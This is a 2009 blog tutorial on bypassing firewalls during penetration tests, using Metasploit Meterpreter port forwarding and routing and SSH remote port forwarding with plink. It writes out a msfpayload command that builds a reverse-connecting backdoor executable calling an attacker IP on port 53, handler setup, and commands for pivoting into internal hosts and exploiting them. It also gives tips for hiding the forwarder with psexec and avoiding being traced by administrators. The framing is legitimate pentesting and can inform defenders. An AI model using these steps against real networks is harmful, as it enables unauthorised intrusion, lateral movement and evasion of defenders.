Saturday, February 14, 2009

Bypassing Firewalls Using Metaplsoit & Port Forwarding

Many times while doing penetration testing, pen testers face great problems like while trying to  gain access to internal network systems(legally) & services while you have began your attack from outer secure boundary of target network : Rule-sets of a Firewall.



Well I have assumed that you have already gained access to at least one host which is linked to the internal network, you know there are many other systems there inside and certainly there would be many interesting services you would like play with :D.


The only problem arises is that you can not access them through internet and gained shell is not powerful enough to let you do all of your post-exploitation tasks through it. So you should look for a way to get rid of this limitation and freely browse and probe internal network, So called reverse shells may be your first try, but they are usually too simple and not powerful enough for what we`re going to do.


Well we will review some effective ways of doing so, in different situations. As a network administrator, you will see that how opening even one single port in your outbound ACL can put your whole internal network at sever risk we will learn that too.

 
So first of all, We will learn about: What is Port  Forwarding is ?

Consider host A, host B in middle and host C. Host A should connect to host C in order to do something, but for any reason it`s not possible, but host B can directly connect to C. If we use host B in middle, to get connection stream from A and pass it to B while taking care of connection , we say host B is doing port-forwarding. Assuming the whole forwarding is happening to gain access to SSH on host C, this is how it`s happening from tcp/ip point of view:


Host B runs a software/service/wrapper that opens a listening socket ( tcp/20 for example) and wait for incoming connections. Host C ( real ssh-server) is also listening to 22/tcp. Running software on B is defined to pass any incoming connection on opened port to host C and on port 22/tcp. So if host A connect to 22/tcp of B, sent packets to this port are automatically relayed to C, port 22/tcp.

Right like many other terms used in attacks , port-forwarding is also divided into normal port-forwarding and reverse ( remote ) port forwarding . Above A B C sample was normal one .

In reverse port-forwarding , the case is again preparing connection between A & C through B. But this time it`s C who begin the connection. In a flat network design both of these can be same, but if you place host A in internet, host C in deep protected zones of internal network and host B at boarder of protected network, things change a little bit.

Fpipe , WinRelay & DataPipe.exe are 3 Freeware(Free) and easy to use tools that are designed to do simple port-forwarding. Let`s use fpipe.exe to implement above mentioned scenario and quickly move to more advanced techniques. We will run fpipe.exe with below parameters on host B and host A have to ssh to host B. Now fpipe.exe will handle incoming connection ( -l 22 ) and pass it to remote host and defined port ( -r 22 host-c ). Nothing strange nor its quite easy to understand.



fpipe.exe -l 22 -r 22 host-C


So, let`s make scenario more real-world. What if even host B is behind firewall and no chance to open any port ? what if we can`t even send a single packet to host B, while host B is the only system in network which is allowed to connect to C ?  Oh, this looks a hard scenario, but the fact its not really so hard. In this scenario it`s also considered that host C ( final destination) is not allowed to send any packet to internet but host B is allowed to send packets to internet, only if destination port is 53. I don`t mind how you may have compromised host B at all. You may have done so by exploiting a client-side vulnerability on it and got back your reverse-shell at response.


In this such situation, tools like fpipe.exe will not help you much. Since we already have a negotiated connection between A and B we should it in most effective way because if we loose this connection before stabilizing our access (with a reverse-connecting trojan for example), we have to re-exploit the target which is not always possible.


For win32 targets, my favorite tool-set to bypass the firewall and get into internal network is Metasploit with Meterpreter loaded as payload of exploit. Even if we are  not using one of MSF exploits to gain access, We use 'msfpayload' withing the framework to generate a raw binary output of Meterpreter and use it as a single executable trojan.


What make Meterpreter a great post-exploitation tool for this case , is it`s port-forwarding capability . It`s great becase :
  • Meterpreter do NOT open any new connection between you (host A) and B, beside it`s negotiated session. All new communication channels are encapsulated in current session.
  • You can define multiple forwarding rules over a single Meterpreter session.
  • You can view/add/remove forwarding rules as you go while it`s running .
  • you can do many other things with Met. while port-forwarding is handled in background.
  • Finally , you can directly exploit host C if Meterpreter is used within the framework, like when it`s load after successfully exploitng something.

    If you just want to use benefits of Meterpreter , and have your own exploit ready , here`s how to generate the executable payload for being executed on host B :


    msfpayload windows/meterpreter/reverse_tcp LPORT=53 LHOST=1.2.3.4 EXITFUNC=thread X > met-reverse-backdoor.exe


    I think the syntax is clear enough. LHOST have the IP of host A, where backdoor will connect to . LPORT is the port backdoor connects to , on host A . I used 53 because this port is usually not filtered on firewalls. Now you should transfer met-reverse-backdoor.exe to host B and get ready to execute it.


    Since this is not a normal payload and is an advanced multi-stage payload we should use it`s specific handler/client which is available in Metasploit . Let`s run the meterpreter handler. Launch the metasploit console & then :

    msf > use exploit/multi/handler 
     
    msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp


    PAYLOAD => windows/meterpreter/reverse_tcp
    msf exploit(handler) > set LPORT 53

    LPORT => 53


    msf exploit(handler) > exploit


    [*] Started reverse handler


    [*] Starting the payload handler...



    Now you`re ready to execute built .exe on host B. after that, you will see incoming connection on console, let the payload completely load and alert about opened session .

    'portfwd' is the meterpreter command we will work with. Try it without any parameter to get help and read meterpreter documentations for farther info and details.

    Let`s assume we want to connect to terminal-service on host C, directly from host A . With help of Port-Forwarding of Meterpreter, it`s matter of a command. In metasploit, console run :

    portfwd -a -L 127.0.0.1 -l 444 -h {IP of host C here} -p 3389


    Let me explain above command if it`s not clear.

    with (-a) we Add a new port-forwarding rule.

    (-L) defines the IP address to bind forwarded socket to. Since we are running these all on host A and want to continue work from the same host, we set 127.0.0.1 . If host A have multiple IPs and you want to bind to specific IP, you can set it here.

    (-l) is the port number which will be opened on host A , for accepting incoming connections. it can be any free port on your system .

    (-h) defines the IP address of host C, or any other host withing the internal network .

    (-p) The port you want to connect to, on host C. Since we are going to use terminal-service, it`s 3389.

    Now on host A , try to connect to terminal service through forwarded socket . to do so from console :

    c:\>mstsc.exe /v:127.0.0.1:444

    Congratulations . You`ve successfully bypassed firewall and got your reverse-connection terminal service session.

    Same steps can be used for almost any TCP service. Unfortunately UDP services are not supported in Meterpreter .

    But Yes, We have mentioned directly exploiting internal hosts from host A. Does it mean for every service we are going to exploit, we should define a forwarding rule ? no.


    Metasploit have a nifty option (command) called 'route'. While you`re in Meterpreter session if you ask for help you`ll see a 'route' command , but this is not our one. After met. session successfully loaded ( first opened session will be named as '1' ) , in console press Ctrl-z . This will get you back to Metasploit console , while keeping the meterpreter session open in background .
    Run below command to confirm availability of session :


    msf exploit(handler) > sessions -l

    Active sessions
    ===============

    Id Description Tunnel
    -- ----------- ------
    1 Meterpreter 127.0.0.1:53 -> 1.2.3.4:1913


    Now type 'route' and check given help for syntax . Yes, this is what I was talking .


    msf exploit(handler) > route
     
    Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]

    Route traffic destined to a given subnet through a supplied session.
    The default comm is Local.
    Our targeted internal network uses 10.10.0.1/24 network addressing. Host C internal IP is 10.10.0.5 . We want to exploit host D with IP address 10.10.0.6 . The lame way is to define a port-forwarding rule in met. , and send exploit payload to 127.0.0.1:{defined port} like what we did for terminal-service. But the better way is using 'route' :


    msf exploit(handler) > route add 10.10.0.1 255.255.255.0 1

    msf exploit(handler) > route print

    Active Routing Table
    ====================

    Subnet Netmask Gateway
    ------ ------- -------
    10.10.0.1 255.255.255.0 Session 1

    msf exploit(handler) >



    Above means we`ve successfully added the route and what it means to Metasploit ?
    It means that any time you set RHOST in any of you exploits in framework that match this routing rule the exploit will be routed automatically by meterpreter to it`s destination network, transparently . Now to exploit 10.10.0.6 (host D), all you have to do is '>set RHOST 10.10.0.6' in framework . All greetz goes for HD Moore and Skape for preparing such a Awesome framework :)



    Two other third-party tools that we have used are mentioned below:

    SocketNinja.pl, Its a old part of Metasploit ( 2.x ) branch which is a pretty useful tool for this purpose IMO. You can get it from here , and read more about it here. It was my favorite pivoting tool for a while.


    Reverse Proxy Multi-threading Engine by Team 514 guys, which can be assumed as a stand-alone clone of Meterpreter port-forwarding. While being pretty cool and poweful tool, I didn`t found the code-base stable enough for hardcore works or heavy duty jobs, and code needs optimization. Test it in your labs before using it in real-world missions.



    Port-Forwarding Second Part
     
    In this part we will explain how to do port-forwarding trick with ssh, without any special third-party tool but the ssh client.


    We will talk about what Port-Forwarding is and how we can use simple tools to do that . Then we introduce to you some interesting features of Metasploit and it`s Meterpreter payload to implement Port-Forwarding in a more advanced way and finally how to use pivoting capabilities of Metasploit .


    This time I`m going to discuss the same concept , but with using usual operating-system capabilities , among few not-hackers-specific tools like an ssh server/client .

    If you remember part 1 , you saw that we used a raw meterpreter payload output ( anexecutable ) to connect a host withing internal protected network to our host in internet , and piggy back that connection to jump into firewalled network . While that feature of meterpreter looks exciting , that`s a hacker-friendly clone of a well known SSH feature with same 'port-forwarding' name . How ever , in order to use ssh in the same way as meterpreter , we should use another option as known as 'remote port forwarding' , or what we called 'reverse' port forwarding. Let`s see how these two work . Before begining , remember same A,B,C host example where :


    Normal port forwarding with SSH: This is well known option. It means we use a SSH server installed on host B , to connect to host C or any other internal host. In this scenario, at least one dual-home ssh server should be there in protected network, and dual-home means B`s SSH daemon should be accessible from internet and be able to browse internal network too. 
    Here`s how we use SSH client/servers to implement. I usually use PUTTY package as ssh client for windows. In case the only usage is port-forwarding, I use plink.exe from this package for reasons you`ll later know. I`ll follow same terminal-service example. Host C runs TS and we want host B to forward us to it :


    On host A: plink.exe {host-B} -P 22 -C -L 127.0.0.1:444:{host-C}:3389 -l username -pw password

    Where: {host-b} -P 22 is IP and port of SSH on the host located at boarder of network. -C force compression. in most cases great performance increase, but if you only forward binary and already-compressed protocols, skip it.

    -L 127.0.0.1:444:{host-C}:3389 means , we want normal port-forwarding ( -L ) . First colored part tells that start point of tunnel will be binded on 127.0.0.1 interface on our host ( A ) and listen on port 444 . So everything is sent to 127.0.0.01:444 will be forwaeded to end of tunnel . Second colored part represents end point of tunnel where our forwarded data will be sent to . Since we want to connect to terminal-service on host C , we used that . Mentioning '127.0.0.1' is optional and you can skip it , unless you wan to bind the socket to a specific interface on your system . In such case you should use IP of that interface.

    -l and -pw are obvious and the main reason we use plink.exe and not putty.exe for example or any other common client. plink.exe accepts user/pass as a switch but other clients do not. In cases you should launch forwarder in background or you don`t have interactive shell access, this comes pretty useful. Cause other clients requre interactive shell to enter password, unless you use cert-based authentication which have it`s own problems.


    After successful negotiation, you can use same 'mstsc.exe 127.0.0.1:444' to connect to TS on host C. That`s it.


    There`s another way to do normal port-forwarding with SSH too and that`s Dynamic forwarding . Dynamic port-forwarding is nothing but a SOCKS v4 over SSH session. It means you use SSH server as SOCKS server to browse internal network hosts. This is pretty useful while you simply want to browse web-pages hosted there. off-course socks-enabled programs can be used with this too. Here`s how to start it:


    plink.exe {host-B} -P 22 -C -D 8888 -l username -pw password


    -D starts the Dynamic port forwarding feature, AKA SOCKS. Above will make your ssh client a simple socks server which listen to port 8888 for incoming connections . Nothing complex to explain .
    To learn more about ssh port forwarding , you can read this.


    Remote port forwarding : This is the more cool feature , or what we`re going to actually use . Since it`s not usually possible to find a open ssh server on target network ( unless it`s lame target) normal forwarding would not be a possible scenario . Here`s where 'remote' port-forwarding comes handy . I`m not going to re-document this feature of ssh , you can ask Google for details . But I`ll just briefly explain how it should be used for our case , among few important notes and tricks.

    In remote port-forwarding , the start point of tunnel will be on ssh-server , rather than own client , and the end of tunnel will be the host running ssh-client . In other words , In this scenario , host B runs the ssh-client and connect to a ssh-server outside of protected network . Then a port will be opened on ssh-server and anything sent to ssh-server on that port , will be forwarded to specified destination ( host C in our case ).

    Noticed the difference ? yes, this way attacker does not need to be able to ssh to any host in protected network . No ssh-server in protected network is even necessary . All we have to be able to execute inside protected network , is a ssh-client, plink.exe as an example. Let`s try this:


    We are Assuming that
    • We have a ssh-server under our control, running on our own host {host-A} or any server in internet.
    • ssh server is configured to allow Remote Port Forwarding. This is the case only for OpenSSH running on *nix.
    • We have prepared a account which is permitted for doing 'remote' port forwarding. Usually only high privileged users (root) have this.
    • At least one host (host B) in protected network , have at least one open port in ACL of firewall to be able to connect to servers outside of network. Wise admins usually block all outgoing connections , so 53 maybe your lucky number again.

    • SSH server is listening on same port as above . So if only 53/tcp is allowed for outgoing , our ssh-server should be listening on same port .

    We`ll run below command on host B:


    plink.exe {host-A} -P 53 -C -R 127.0.0.1:444:{host-C}:3389 -l username -pw password


    -R 127.0.0.1:444:{host-C}:3389 is the switch start remote forwarding where first colored part specifies start point of tunnel , and second colored part represents end point of tunnel . If you want to connect to tunnel entry point (port 444) on same host as ssh-server, you can again skip 127.0.0.1:444 and use '-R 444:{host-C}:3389'. If ssh-server is running another host, say a zombie host, you should exactly specify IP address of interface you want to bind socket to. So if ssh-server is running on 1.2.3.4 , you should use '-R 1.2.3.4:444:{host-C}:3389'.

    Another important note is that , by default ssh-server accepts connections to remote forwarded port (444) only from local-host. So check configuration of your client/server on how to config that in correct way . In putty.exe this should be specified with a check mark as below. RTFM for how to do this on your favorite ssh client .


    With above option allowed , now you can remotely connect to ssh-server on port 444 and get redirected to internal network and host C on port 3390 . Without that option , it would be possible to connect to port 444 only from the same host as ssh-server .That`s it ! Welcome to internal network .

    Few other tips :
    It`s not necessary to have a dedicated server for lunching ssh-server . If you`re running linux , all you have to do is to configure and start sshd . If you`re running windows, you can get a copy of Bitvise WinSSHD and setup it.




    Since you`re leacing user/pass of your ssh-server on targeted host, be warned that you`re leaking a high privilege account there ! So , disable shell for that specific account so if a smart admin tried to back trace you , he won`t be able to instantly own your box . I`ve seen this really happened. Changing password of that account after each connection is another solution BESIDE this.



    To run the forwarder ( ssh client , plink.exe for example ) running in background, you can use PsEXEC to execute it hidden in background and with system privileges so it`s not killed by user:


    psexec.exe -s -d plink.exe "plink parameters here"



    I hope you guys have learn a bit with this technique :), comments are welcome.

    No comments:

    Post a Comment

    You Have Successfully Posted the Message.